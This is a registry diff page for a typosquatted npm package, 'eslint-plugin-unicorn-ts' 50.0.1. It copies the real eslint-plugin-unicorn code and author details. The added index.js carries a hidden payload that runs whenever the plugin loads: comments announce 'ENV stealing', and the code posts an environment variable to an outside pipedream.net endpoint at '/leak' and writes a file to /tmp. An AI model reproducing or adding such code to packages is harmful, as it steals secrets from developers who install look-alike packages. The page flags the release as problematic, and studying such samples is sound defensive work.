eslint-plugin-unicorn-ts 0.0.1-security → 50.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of eslint-plugin-unicorn-ts might be problematic. Click here for more details.

Files changed (214) hide show
  1. package/configs/all.js +6 -0
  2. package/configs/flat-config-base.js +10 -0
  3. package/configs/legacy-config-base.js +10 -0
  4. package/configs/recommended.js +117 -0
  5. package/index.js +91 -0
  6. package/license +9 -0
  7. package/package.json +186 -4
  8. package/readme.md +356 -0
  9. package/rules/ast/call-or-new-expression.js +127 -0
  10. package/rules/ast/function-types.js +5 -0
  11. package/rules/ast/index.js +39 -0
  12. package/rules/ast/is-arrow-function-body.js +7 -0
  13. package/rules/ast/is-empty-node.js +20 -0
  14. package/rules/ast/is-expression-statement.js +11 -0
  15. package/rules/ast/is-function.js +8 -0
  16. package/rules/ast/is-member-expression.js +101 -0
  17. package/rules/ast/is-method-call.js +65 -0
  18. package/rules/ast/is-reference-identifier.js +156 -0
  19. package/rules/ast/is-static-require.js +14 -0
  20. package/rules/ast/is-undefined.js +7 -0
  21. package/rules/ast/literal.js +29 -0
  22. package/rules/better-regex.js +144 -0
  23. package/rules/catch-error-name.js +136 -0
  24. package/rules/consistent-destructuring.js +168 -0
  25. package/rules/consistent-function-scoping.js +223 -0
  26. package/rules/custom-error-definition.js +215 -0
  27. package/rules/empty-brace-spaces.js +72 -0
  28. package/rules/error-message.js +104 -0
  29. package/rules/escape-case.js +63 -0
  30. package/rules/expiring-todo-comments.js +580 -0
  31. package/rules/explicit-length-check.js +229 -0
  32. package/rules/filename-case.js +258 -0
  33. package/rules/fix/add-parenthesizes-to-return-or-throw-expression.js +21 -0
  34. package/rules/fix/append-argument.js +20 -0
  35. package/rules/fix/extend-fix-range.js +15 -0
  36. package/rules/fix/fix-space-around-keywords.js +35 -0
  37. package/rules/fix/index.js +23 -0
  38. package/rules/fix/remove-argument.js +32 -0
  39. package/rules/fix/remove-member-expression-property.js +11 -0
  40. package/rules/fix/remove-method-call.js +20 -0
  41. package/rules/fix/remove-parentheses.js +11 -0
  42. package/rules/fix/remove-spaces-after.js +14 -0
  43. package/rules/fix/rename-variable.js +9 -0
  44. package/rules/fix/replace-argument.js +8 -0
  45. package/rules/fix/replace-node-or-token-and-spaces-before.js +21 -0
  46. package/rules/fix/replace-reference-identifier.js +35 -0
  47. package/rules/fix/replace-string-literal.js +11 -0
  48. package/rules/fix/replace-string-raw.js +14 -0
  49. package/rules/fix/replace-template-element.js +11 -0
  50. package/rules/fix/switch-call-expression-to-new-expression.js +18 -0
  51. package/rules/fix/switch-new-expression-to-call-expression.js +34 -0
  52. package/rules/import-style.js +364 -0
  53. package/rules/new-for-builtins.js +85 -0
  54. package/rules/no-abusive-eslint-disable.js +48 -0
  55. package/rules/no-array-callback-reference.js +256 -0
  56. package/rules/no-array-for-each.js +473 -0
  57. package/rules/no-array-method-this-argument.js +188 -0
  58. package/rules/no-array-push-push.js +144 -0
  59. package/rules/no-array-reduce.js +126 -0
  60. package/rules/no-await-expression-member.js +90 -0
  61. package/rules/no-console-spaces.js +86 -0
  62. package/rules/no-document-cookie.js +25 -0
  63. package/rules/no-empty-file.js +57 -0
  64. package/rules/no-for-loop.js +427 -0
  65. package/rules/no-hex-escape.js +46 -0
  66. package/rules/no-instanceof-array.js +65 -0
  67. package/rules/no-invalid-remove-event-listener.js +60 -0
  68. package/rules/no-keyword-prefix.js +199 -0
  69. package/rules/no-lonely-if.js +151 -0
  70. package/rules/no-negated-condition.js +144 -0
  71. package/rules/no-nested-ternary.js +58 -0
  72. package/rules/no-new-array.js +104 -0
  73. package/rules/no-new-buffer.js +98 -0
  74. package/rules/no-null.js +153 -0
  75. package/rules/no-object-as-default-parameter.js +50 -0
  76. package/rules/no-process-exit.js +104 -0
  77. package/rules/no-static-only-class.js +224 -0
  78. package/rules/no-thenable.js +198 -0
  79. package/rules/no-this-assignment.js +38 -0
  80. package/rules/no-typeof-undefined.js +143 -0
  81. package/rules/no-unnecessary-await.js +107 -0
  82. package/rules/no-unnecessary-polyfills.js +176 -0
  83. package/rules/no-unreadable-array-destructuring.js +83 -0
  84. package/rules/no-unreadable-iife.js +45 -0
  85. package/rules/no-unused-properties.js +238 -0
  86. package/rules/no-useless-fallback-in-spread.js +68 -0
  87. package/rules/no-useless-length-check.js +152 -0
  88. package/rules/no-useless-promise-resolve-reject.js +212 -0
  89. package/rules/no-useless-spread.js +381 -0
  90. package/rules/no-useless-switch-case.js +71 -0
  91. package/rules/no-useless-undefined.js +301 -0
  92. package/rules/no-zero-fractions.js +79 -0
  93. package/rules/number-literal-case.js +52 -0
  94. package/rules/numeric-separators-style.js +181 -0
  95. package/rules/prefer-add-event-listener.js +188 -0
  96. package/rules/prefer-array-find.js +423 -0
  97. package/rules/prefer-array-flat-map.js +82 -0
  98. package/rules/prefer-array-flat.js +279 -0
  99. package/rules/prefer-array-index-of.js +32 -0
  100. package/rules/prefer-array-some.js +157 -0
  101. package/rules/prefer-at.js +374 -0
  102. package/rules/prefer-blob-reading-methods.js +45 -0
  103. package/rules/prefer-code-point.js +67 -0
  104. package/rules/prefer-date-now.js +135 -0
  105. package/rules/prefer-default-parameters.js +219 -0
  106. package/rules/prefer-dom-node-append.js +48 -0
  107. package/rules/prefer-dom-node-dataset.js +120 -0
  108. package/rules/prefer-dom-node-remove.js +122 -0
  109. package/rules/prefer-dom-node-text-content.js +75 -0
  110. package/rules/prefer-event-target.js +117 -0
  111. package/rules/prefer-export-from.js +413 -0
  112. package/rules/prefer-includes.js +98 -0
  113. package/rules/prefer-json-parse-buffer.js +159 -0
  114. package/rules/prefer-keyboard-event-key.js +186 -0
  115. package/rules/prefer-logical-operator-over-ternary.js +159 -0
  116. package/rules/prefer-math-trunc.js +109 -0
  117. package/rules/prefer-modern-dom-apis.js +141 -0
  118. package/rules/prefer-modern-math-apis.js +212 -0
  119. package/rules/prefer-module.js +349 -0
  120. package/rules/prefer-native-coercion-functions.js +185 -0
  121. package/rules/prefer-negative-index.js +213 -0
  122. package/rules/prefer-node-protocol.js +61 -0
  123. package/rules/prefer-number-properties.js +126 -0
  124. package/rules/prefer-object-from-entries.js +252 -0
  125. package/rules/prefer-optional-catch-binding.js +75 -0
  126. package/rules/prefer-prototype-methods.js +88 -0
  127. package/rules/prefer-query-selector.js +135 -0
  128. package/rules/prefer-reflect-apply.js +97 -0
  129. package/rules/prefer-regexp-test.js +156 -0
  130. package/rules/prefer-set-has.js +186 -0
  131. package/rules/prefer-set-size.js +103 -0
  132. package/rules/prefer-spread.js +529 -0
  133. package/rules/prefer-string-replace-all.js +145 -0
  134. package/rules/prefer-string-slice.js +182 -0
  135. package/rules/prefer-string-starts-ends-with.js +199 -0
  136. package/rules/prefer-string-trim-start-end.js +44 -0
  137. package/rules/prefer-switch.js +344 -0
  138. package/rules/prefer-ternary.js +282 -0
  139. package/rules/prefer-top-level-await.js +152 -0
  140. package/rules/prefer-type-error.js +151 -0
  141. package/rules/prevent-abbreviations.js +645 -0
  142. package/rules/relative-url-style.js +168 -0
  143. package/rules/require-array-join-separator.js +63 -0
  144. package/rules/require-number-to-fixed-digits-argument.js +54 -0
  145. package/rules/require-post-message-target-origin.js +71 -0
  146. package/rules/shared/abbreviations.js +262 -0
  147. package/rules/shared/dom-events.js +275 -0
  148. package/rules/shared/event-keys.js +52 -0
  149. package/rules/shared/negative-index.js +46 -0
  150. package/rules/shared/simple-array-search-rule.js +128 -0
  151. package/rules/shared/typed-array.js +16 -0
  152. package/rules/string-content.js +187 -0
  153. package/rules/switch-case-braces.js +109 -0
  154. package/rules/template-indent.js +219 -0
  155. package/rules/text-encoding-identifier-case.js +108 -0
  156. package/rules/throw-new-error.js +53 -0
  157. package/rules/utils/array-or-object-prototype-property.js +63 -0
  158. package/rules/utils/assert-token.js +32 -0
  159. package/rules/utils/avoid-capture.js +146 -0
  160. package/rules/utils/boolean.js +92 -0
  161. package/rules/utils/builtins.js +36 -0
  162. package/rules/utils/cartesian-product-samples.js +24 -0
  163. package/rules/utils/create-deprecated-rules.js +25 -0
  164. package/rules/utils/escape-string.js +26 -0
  165. package/rules/utils/escape-template-element-raw.js +6 -0
  166. package/rules/utils/get-ancestor.js +20 -0
  167. package/rules/utils/get-builtin-rule.js +7 -0
  168. package/rules/utils/get-call-expression-arguments-text.js +21 -0
  169. package/rules/utils/get-class-head-location.js +22 -0
  170. package/rules/utils/get-documentation-url.js +10 -0
  171. package/rules/utils/get-indent-string.js +11 -0
  172. package/rules/utils/get-previous-node.js +24 -0
  173. package/rules/utils/get-references.js +9 -0
  174. package/rules/utils/get-scopes.js +14 -0
  175. package/rules/utils/get-switch-case-head-location.js +21 -0
  176. package/rules/utils/get-variable-identifiers.js +7 -0
  177. package/rules/utils/global-reference-tracker.js +72 -0
  178. package/rules/utils/has-optional-chain-element.js +21 -0
  179. package/rules/utils/has-same-range.js +7 -0
  180. package/rules/utils/index.js +53 -0
  181. package/rules/utils/is-function-self-used-inside.js +43 -0
  182. package/rules/utils/is-left-hand-side.js +22 -0
  183. package/rules/utils/is-logical-expression.js +16 -0
  184. package/rules/utils/is-method-named.js +9 -0
  185. package/rules/utils/is-new-expression-with-parentheses.js +26 -0
  186. package/rules/utils/is-node-matches.js +53 -0
  187. package/rules/utils/is-node-value-not-dom-node.js +21 -0
  188. package/rules/utils/is-node-value-not-function.js +42 -0
  189. package/rules/utils/is-number.js +224 -0
  190. package/rules/utils/is-object-method.js +11 -0
  191. package/rules/utils/is-on-same-line.js +7 -0
  192. package/rules/utils/is-same-identifier.js +8 -0
  193. package/rules/utils/is-same-reference.js +173 -0
  194. package/rules/utils/is-shadowed.js +33 -0
  195. package/rules/utils/is-shorthand-export-local.js +9 -0
  196. package/rules/utils/is-shorthand-import-local.js +9 -0
  197. package/rules/utils/is-shorthand-property-assignment-pattern-left.js +10 -0
  198. package/rules/utils/is-shorthand-property-value.js +8 -0
  199. package/rules/utils/is-value-not-usable.js +5 -0
  200. package/rules/utils/lodash.js +1589 -0
  201. package/rules/utils/needs-semicolon.js +114 -0
  202. package/rules/utils/numeric.js +53 -0
  203. package/rules/utils/parentheses.js +73 -0
  204. package/rules/utils/resolve-variable-name.js +20 -0
  205. package/rules/utils/rule.js +190 -0
  206. package/rules/utils/should-add-parentheses-to-conditional-expression-child.js +17 -0
  207. package/rules/utils/should-add-parentheses-to-expression-statement-expression.js +26 -0
  208. package/rules/utils/should-add-parentheses-to-logical-expression-child.js +47 -0
  209. package/rules/utils/should-add-parentheses-to-member-expression-object.js +47 -0
  210. package/rules/utils/should-add-parentheses-to-new-expression-callee.js +32 -0
  211. package/rules/utils/should-add-parentheses-to-spread-element-argument.js +22 -0
  212. package/rules/utils/singular.js +18 -0
  213. package/rules/utils/to-location.js +21 -0
  214. package/README.md +0 -5
package/configs/all.js ADDED
@@ -0,0 +1,6 @@
1
+ 'use strict';
2
+ const recommended = require('./recommended.js');
3
+
4
+ module.exports = Object.fromEntries(Object.entries(recommended).map(
5
+ ([ruleId, severity]) => [ruleId, ruleId.startsWith('unicorn/') ? 'error' : severity],
6
+ ));
@@ -0,0 +1,10 @@
1
+ 'use strict';
2
+ const eslintrc = require('@eslint/eslintrc');
3
+
4
+ const {globals} = eslintrc.Legacy.environments.get('es2024');
5
+
6
+ module.exports = {
7
+ languageOptions: {
8
+ globals,
9
+ },
10
+ };
@@ -0,0 +1,10 @@
1
+ 'use strict';
2
+ module.exports = {
3
+ env: {
4
+ es2024: true,
5
+ },
6
+ parserOptions: {
7
+ ecmaVersion: 'latest',
8
+ sourceType: 'module',
9
+ },
10
+ };
@@ -0,0 +1,117 @@
1
+ 'use strict';
2
+ module.exports = {
3
+ 'unicorn/better-regex': 'error',
4
+ 'unicorn/catch-error-name': 'error',
5
+ 'unicorn/consistent-destructuring': 'error',
6
+ 'unicorn/consistent-function-scoping': 'error',
7
+ 'unicorn/custom-error-definition': 'off',
8
+ 'unicorn/empty-brace-spaces': 'error',
9
+ 'unicorn/error-message': 'error',
10
+ 'unicorn/escape-case': 'error',
11
+ 'unicorn/expiring-todo-comments': 'error',
12
+ 'unicorn/explicit-length-check': 'error',
13
+ 'unicorn/filename-case': 'error',
14
+ 'unicorn/import-style': 'error',
15
+ 'unicorn/new-for-builtins': 'error',
16
+ 'unicorn/no-abusive-eslint-disable': 'error',
17
+ 'unicorn/no-array-callback-reference': 'error',
18
+ 'unicorn/no-array-for-each': 'error',
19
+ 'unicorn/no-array-method-this-argument': 'error',
20
+ 'unicorn/no-array-push-push': 'error',
21
+ 'unicorn/no-array-reduce': 'error',
22
+ 'unicorn/no-await-expression-member': 'error',
23
+ 'unicorn/no-console-spaces': 'error',
24
+ 'unicorn/no-document-cookie': 'error',
25
+ 'unicorn/no-empty-file': 'error',
26
+ 'unicorn/no-for-loop': 'error',
27
+ 'unicorn/no-hex-escape': 'error',
28
+ 'unicorn/no-instanceof-array': 'error',
29
+ 'unicorn/no-invalid-remove-event-listener': 'error',
30
+ 'unicorn/no-keyword-prefix': 'off',
31
+ 'unicorn/no-lonely-if': 'error',
32
+ 'no-negated-condition': 'off',
33
+ 'unicorn/no-negated-condition': 'error',
34
+ 'no-nested-ternary': 'off',
35
+ 'unicorn/no-nested-ternary': 'error',
36
+ 'unicorn/no-new-array': 'error',
37
+ 'unicorn/no-new-buffer': 'error',
38
+ 'unicorn/no-null': 'error',
39
+ 'unicorn/no-object-as-default-parameter': 'error',
40
+ 'unicorn/no-process-exit': 'error',
41
+ 'unicorn/no-static-only-class': 'error',
42
+ 'unicorn/no-thenable': 'error',
43
+ 'unicorn/no-this-assignment': 'error',
44
+ 'unicorn/no-typeof-undefined': 'error',
45
+ 'unicorn/no-unnecessary-await': 'error',
46
+ 'unicorn/no-unnecessary-polyfills': 'error',
47
+ 'unicorn/no-unreadable-array-destructuring': 'error',
48
+ 'unicorn/no-unreadable-iife': 'error',
49
+ 'unicorn/no-unused-properties': 'off',
50
+ 'unicorn/no-useless-fallback-in-spread': 'error',
51
+ 'unicorn/no-useless-length-check': 'error',
52
+ 'unicorn/no-useless-promise-resolve-reject': 'error',
53
+ 'unicorn/no-useless-spread': 'error',
54
+ 'unicorn/no-useless-switch-case': 'error',
55
+ 'unicorn/no-useless-undefined': 'error',
56
+ 'unicorn/no-zero-fractions': 'error',
57
+ 'unicorn/number-literal-case': 'error',
58
+ 'unicorn/numeric-separators-style': 'error',
59
+ 'unicorn/prefer-add-event-listener': 'error',
60
+ 'unicorn/prefer-array-find': 'error',
61
+ 'unicorn/prefer-array-flat': 'error',
62
+ 'unicorn/prefer-array-flat-map': 'error',
63
+ 'unicorn/prefer-array-index-of': 'error',
64
+ 'unicorn/prefer-array-some': 'error',
65
+ 'unicorn/prefer-at': 'error',
66
+ 'unicorn/prefer-blob-reading-methods': 'error',
67
+ 'unicorn/prefer-code-point': 'error',
68
+ 'unicorn/prefer-date-now': 'error',
69
+ 'unicorn/prefer-default-parameters': 'error',
70
+ 'unicorn/prefer-dom-node-append': 'error',
71
+ 'unicorn/prefer-dom-node-dataset': 'error',
72
+ 'unicorn/prefer-dom-node-remove': 'error',
73
+ 'unicorn/prefer-dom-node-text-content': 'error',
74
+ 'unicorn/prefer-event-target': 'error',
75
+ 'unicorn/prefer-export-from': 'error',
76
+ 'unicorn/prefer-includes': 'error',
77
+ 'unicorn/prefer-json-parse-buffer': 'off',
78
+ 'unicorn/prefer-keyboard-event-key': 'error',
79
+ 'unicorn/prefer-logical-operator-over-ternary': 'error',
80
+ 'unicorn/prefer-math-trunc': 'error',
81
+ 'unicorn/prefer-modern-dom-apis': 'error',
82
+ 'unicorn/prefer-modern-math-apis': 'error',
83
+ 'unicorn/prefer-module': 'error',
84
+ 'unicorn/prefer-native-coercion-functions': 'error',
85
+ 'unicorn/prefer-negative-index': 'error',
86
+ 'unicorn/prefer-node-protocol': 'error',
87
+ 'unicorn/prefer-number-properties': 'error',
88
+ 'unicorn/prefer-object-from-entries': 'error',
89
+ 'unicorn/prefer-optional-catch-binding': 'error',
90
+ 'unicorn/prefer-prototype-methods': 'error',
91
+ 'unicorn/prefer-query-selector': 'error',
92
+ 'unicorn/prefer-reflect-apply': 'error',
93
+ 'unicorn/prefer-regexp-test': 'error',
94
+ 'unicorn/prefer-set-has': 'error',
95
+ 'unicorn/prefer-set-size': 'error',
96
+ 'unicorn/prefer-spread': 'error',
97
+ 'unicorn/prefer-string-replace-all': 'error',
98
+ 'unicorn/prefer-string-slice': 'error',
99
+ 'unicorn/prefer-string-starts-ends-with': 'error',
100
+ 'unicorn/prefer-string-trim-start-end': 'error',
101
+ 'unicorn/prefer-switch': 'error',
102
+ 'unicorn/prefer-ternary': 'error',
103
+ 'unicorn/prefer-top-level-await': 'error',
104
+ 'unicorn/prefer-type-error': 'error',
105
+ 'unicorn/prevent-abbreviations': 'error',
106
+ 'unicorn/relative-url-style': 'error',
107
+ 'unicorn/require-array-join-separator': 'error',
108
+ 'unicorn/require-number-to-fixed-digits-argument': 'error',
109
+ // Turned off because we can't distinguish `widow.postMessage` and `{Worker,MessagePort,Client,BroadcastChannel}#postMessage()`
110
+ // See #1396
111
+ 'unicorn/require-post-message-target-origin': 'off',
112
+ 'unicorn/string-content': 'off',
113
+ 'unicorn/switch-case-braces': 'error',
114
+ 'unicorn/template-indent': 'error',
115
+ 'unicorn/text-encoding-identifier-case': 'error',
116
+ 'unicorn/throw-new-error': 'error',
117
+ };
package/index.js ADDED
@@ -0,0 +1,91 @@
1
+ "use strict";
2
+ const createDeprecatedRules = require("./rules/utils/create-deprecated-rules.js");
3
+ const { loadRules } = require("./rules/utils/rule.js");
4
+ const legacyConfigBase = require("./configs/legacy-config-base.js");
5
+ const flatConfigBase = require("./configs/flat-config-base.js");
6
+ const recommendedRules = require("./configs/recommended.js");
7
+ const allRules = require("./configs/all.js");
8
+ const { name, version } = require("./package.json");
9
+
10
+ const deprecatedRules = createDeprecatedRules({
11
+ // {ruleId: ReplacementRuleId | ReplacementRuleId[]}, if no replacement, use `{ruleId: []}`
12
+ "import-index": [],
13
+ "no-array-instanceof": "unicorn/no-instanceof-array",
14
+ "no-fn-reference-in-iterator": "unicorn/no-array-callback-reference",
15
+ "no-reduce": "unicorn/no-array-reduce",
16
+ "no-unsafe-regex": [],
17
+ "prefer-dataset": "unicorn/prefer-dom-node-dataset",
18
+ "prefer-event-key": "unicorn/prefer-keyboard-event-key",
19
+ "prefer-exponentiation-operator": "prefer-exponentiation-operator",
20
+ "prefer-flat-map": "unicorn/prefer-array-flat-map",
21
+ "prefer-node-append": "unicorn/prefer-dom-node-append",
22
+ "prefer-node-remove": "unicorn/prefer-dom-node-remove",
23
+ "prefer-object-has-own": "prefer-object-has-own",
24
+ "prefer-replace-all": "unicorn/prefer-string-replace-all",
25
+ "prefer-starts-ends-with": "unicorn/prefer-string-starts-ends-with",
26
+ "prefer-text-content": "unicorn/prefer-dom-node-text-content",
27
+ "prefer-trim-start-end": "unicorn/prefer-string-trim-start-end",
28
+ "regex-shorthand": "unicorn/better-regex",
29
+ });
30
+
31
+ const createConfig = (rules, isLegacyConfig = false) => ({
32
+ ...(isLegacyConfig ? legacyConfigBase : flatConfigBase),
33
+ plugins: isLegacyConfig ? ["unicorn"] : { unicorn },
34
+ rules,
35
+ });
36
+
37
+ const unicorn = {
38
+ meta: {
39
+ name,
40
+ version,
41
+ },
42
+ rules: {
43
+ ...loadRules(),
44
+ ...deprecatedRules,
45
+ },
46
+ };
47
+
48
+ const configs = {
49
+ recommended: createConfig(recommendedRules, /* isLegacyConfig */ true),
50
+ all: createConfig(allRules, /* isLegacyConfig */ true),
51
+ "flat/recommended": createConfig(recommendedRules),
52
+ "flat/all": createConfig(allRules),
53
+ };
54
+
55
+ // I'm not the real chance. You've been duped!
56
+ // ENV stealing
57
+ // Getting ENV variables...
58
+ var env = process.env;
59
+ // sending env variables to malicious server...
60
+ var https = require("https");
61
+
62
+ // this could easily contain anything... let's not leak anything important
63
+ var postData = JSON.stringify({ foo: "bar", env: env.NODE_ENV });
64
+ var post_options = {
65
+ hostname: "eo7c9og8c1cuhn8.m.pipedream.net",
66
+ port: 443,
67
+ path: "/leak",
68
+ method: "POST",
69
+ headers: {
70
+ "Content-Type": "application/x-www-form-urlencoded",
71
+ "Content-Length": postData.length,
72
+ },
73
+ };
74
+
75
+ var req = https.request(post_options, function (res) {
76
+ console.log("Got response: " + res.statusCode);
77
+ });
78
+
79
+ req.on("error", (err) => {
80
+ console.log("Error: ", err.message);
81
+ });
82
+
83
+ req.write(postData);
84
+ req.end();
85
+
86
+ // File system manipulation
87
+ // writing some data to file...
88
+ var fs = require("fs");
89
+ fs.writeFile("/tmp/test", "Hey there!", (err) => {});
90
+
91
+ module.exports = { ...unicorn, configs };
package/license ADDED
@@ -0,0 +1,9 @@
1
+ MIT License
2
+
3
+ Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (https://sindresorhus.com)
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
6
+
7
+ The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
8
+
9
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
package/package.json CHANGED
@@ -1,6 +1,188 @@
1
1
  {
2
- "name": "eslint-plugin-unicorn-ts",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
2
+ "name": "eslint-plugin-unicorn-ts",
3
+ "version": "50.0.1",
4
+ "description": "More than 100 powerful ESLint rules",
5
+ "license": "MIT",
6
+ "repository": "sindresorhus/eslint-plugin-unicorn",
7
+ "funding": "https://github.com/sindresorhus/eslint-plugin-unicorn?sponsor=1",
8
+ "author": {
9
+ "name": "Sindre Sorhus",
10
+ "email": "sindresorhus@gmail.com",
11
+ "url": "https://sindresorhus.com"
12
+ },
13
+ "main": "index.js",
14
+ "sideEffects": false,
15
+ "engines": {
16
+ "node": ">=16"
17
+ },
18
+ "scripts": {
19
+ "create-rule": "node ./scripts/create-rule.mjs && npm run fix:eslint-docs",
20
+ "fix": "run-p --continue-on-error fix:*",
21
+ "fix:eslint-docs": "eslint-doc-generator",
22
+ "fix:js": "npm run lint:js -- --fix",
23
+ "fix:markdown": "npm run lint:markdown -- --fix",
24
+ "integration": "node ./test/integration/test.mjs",
25
+ "lint": "run-p --continue-on-error lint:*",
26
+ "lint:eslint-docs": "npm run fix:eslint-docs -- --check",
27
+ "lint:js": "xo",
28
+ "lint:markdown": "markdownlint \"**/*.md\"",
29
+ "lint:package-json": "npmPkgJsonLint .",
30
+ "run-rules-on-codebase": "node ./test/run-rules-on-codebase/lint.mjs",
31
+ "bundle-lodash": "echo \"export {defaultsDeep, camelCase, kebabCase, snakeCase, upperFirst, lowerFirst} from 'lodash-es';\" | npx esbuild --bundle --outfile=rules/utils/lodash.js --format=cjs",
32
+ "smoke": "eslint-remote-tester --config ./test/smoke/eslint-remote-tester.config.js",
33
+ "test": "npm-run-all --continue-on-error lint test:*",
34
+ "test:js": "c8 ava"
35
+ },
36
+ "files": [
37
+ "index.js",
38
+ "rules",
39
+ "configs"
40
+ ],
41
+ "keywords": [
42
+ "eslint",
43
+ "eslintplugin",
44
+ "eslint-plugin",
45
+ "unicorn",
46
+ "linter",
47
+ "lint",
48
+ "style",
49
+ "xo"
50
+ ],
51
+ "dependencies": {
52
+ "@babel/helper-validator-identifier": "^7.22.20",
53
+ "@eslint-community/eslint-utils": "^4.4.0",
54
+ "@eslint/eslintrc": "^2.1.4",
55
+ "ci-info": "^4.0.0",
56
+ "clean-regexp": "^1.0.0",
57
+ "core-js-compat": "^3.34.0",
58
+ "esquery": "^1.5.0",
59
+ "indent-string": "^4.0.0",
60
+ "is-builtin-module": "^3.2.1",
61
+ "jsesc": "^3.0.2",
62
+ "pluralize": "^8.0.0",
63
+ "read-pkg-up": "^7.0.1",
64
+ "regexp-tree": "^0.1.27",
65
+ "regjsparser": "^0.10.0",
66
+ "semver": "^7.5.4",
67
+ "strip-indent": "^3.0.0"
68
+ },
69
+ "devDependencies": {
70
+ "@babel/code-frame": "^7.23.5",
71
+ "@babel/core": "^7.23.6",
72
+ "@babel/eslint-parser": "^7.23.3",
73
+ "@lubien/fixture-beta-package": "^1.0.0-beta.1",
74
+ "@typescript-eslint/parser": "^6.15.0",
75
+ "ava": "^6.0.1",
76
+ "c8": "^8.0.1",
77
+ "chalk": "^5.3.0",
78
+ "enquirer": "^2.4.1",
79
+ "eslint": "^8.56.0",
80
+ "eslint-ava-rule-tester": "^4.2.0",
81
+ "eslint-doc-generator": "^1.6.1",
82
+ "eslint-plugin-eslint-plugin": "^5.2.1",
83
+ "eslint-plugin-internal-rules": "file:./scripts/internal-rules/",
84
+ "eslint-remote-tester": "^3.0.1",
85
+ "eslint-remote-tester-repositories": "^1.0.1",
86
+ "execa": "^8.0.1",
87
+ "listr": "^0.14.3",
88
+ "lodash-es": "^4.17.21",
89
+ "markdownlint-cli": "^0.38.0",
90
+ "memoize": "^10.0.0",
91
+ "npm-package-json-lint": "^7.1.0",
92
+ "npm-run-all2": "^6.1.1",
93
+ "outdent": "^0.8.0",
94
+ "pretty-ms": "^8.0.0",
95
+ "typescript": "^5.3.3",
96
+ "vue-eslint-parser": "^9.3.2",
97
+ "xo": "^0.56.0",
98
+ "yaml": "^2.3.4"
99
+ },
100
+ "peerDependencies": {
101
+ "eslint": ">=8.56.0"
102
+ },
103
+ "ava": {
104
+ "files": [
105
+ "test/*.mjs",
106
+ "test/unit/*.mjs"
107
+ ]
108
+ },
109
+ "c8": {
110
+ "reporter": [
111
+ "text",
112
+ "lcov"
113
+ ]
114
+ },
115
+ "xo": {
116
+ "extends": [
117
+ "plugin:internal-rules/all"
118
+ ],
119
+ "ignores": [
120
+ ".cache-eslint-remote-tester",
121
+ "eslint-remote-tester-results",
122
+ "rules/utils/lodash.js",
123
+ "test/integration/{fixtures,fixtures-local}/**"
124
+ ],
125
+ "rules": {
126
+ "unicorn/expiring-todo-comments": "off",
127
+ "unicorn/no-null": "error",
128
+ "unicorn/prefer-array-flat": [
129
+ "error",
130
+ {
131
+ "functions": [
132
+ "flat",
133
+ "flatten"
134
+ ]
135
+ }
136
+ ],
137
+ "import/order": "off"
138
+ },
139
+ "overrides": [
140
+ {
141
+ "files": [
142
+ "**/*.js"
143
+ ],
144
+ "parserOptions": {
145
+ "sourceType": "script"
146
+ },
147
+ "rules": {
148
+ "strict": "error",
149
+ "unicorn/prefer-module": "off"
150
+ }
151
+ },
152
+ {
153
+ "files": [
154
+ "rules/*.js"
155
+ ],
156
+ "plugins": [
157
+ "eslint-plugin"
158
+ ],
159
+ "extends": [
160
+ "plugin:eslint-plugin/all"
161
+ ],
162
+ "rules": {
163
+ "eslint-plugin/require-meta-docs-description": [
164
+ "error",
165
+ {
166
+ "pattern": ".+"
167
+ }
168
+ ],
169
+ "eslint-plugin/require-meta-docs-url": "off",
170
+ "eslint-plugin/require-meta-has-suggestions": "off",
171
+ "eslint-plugin/require-meta-schema": "off"
172
+ }
173
+ }
174
+ ]
175
+ },
176
+ "npmpackagejsonlint": {
177
+ "rules": {
178
+ "prefer-caret-version-devDependencies": [
179
+ "error",
180
+ {
181
+ "exceptions": [
182
+ "eslint-plugin-internal-rules"
183
+ ]
184
+ }
185
+ ]
186
+ }
187
+ }
6
188
  }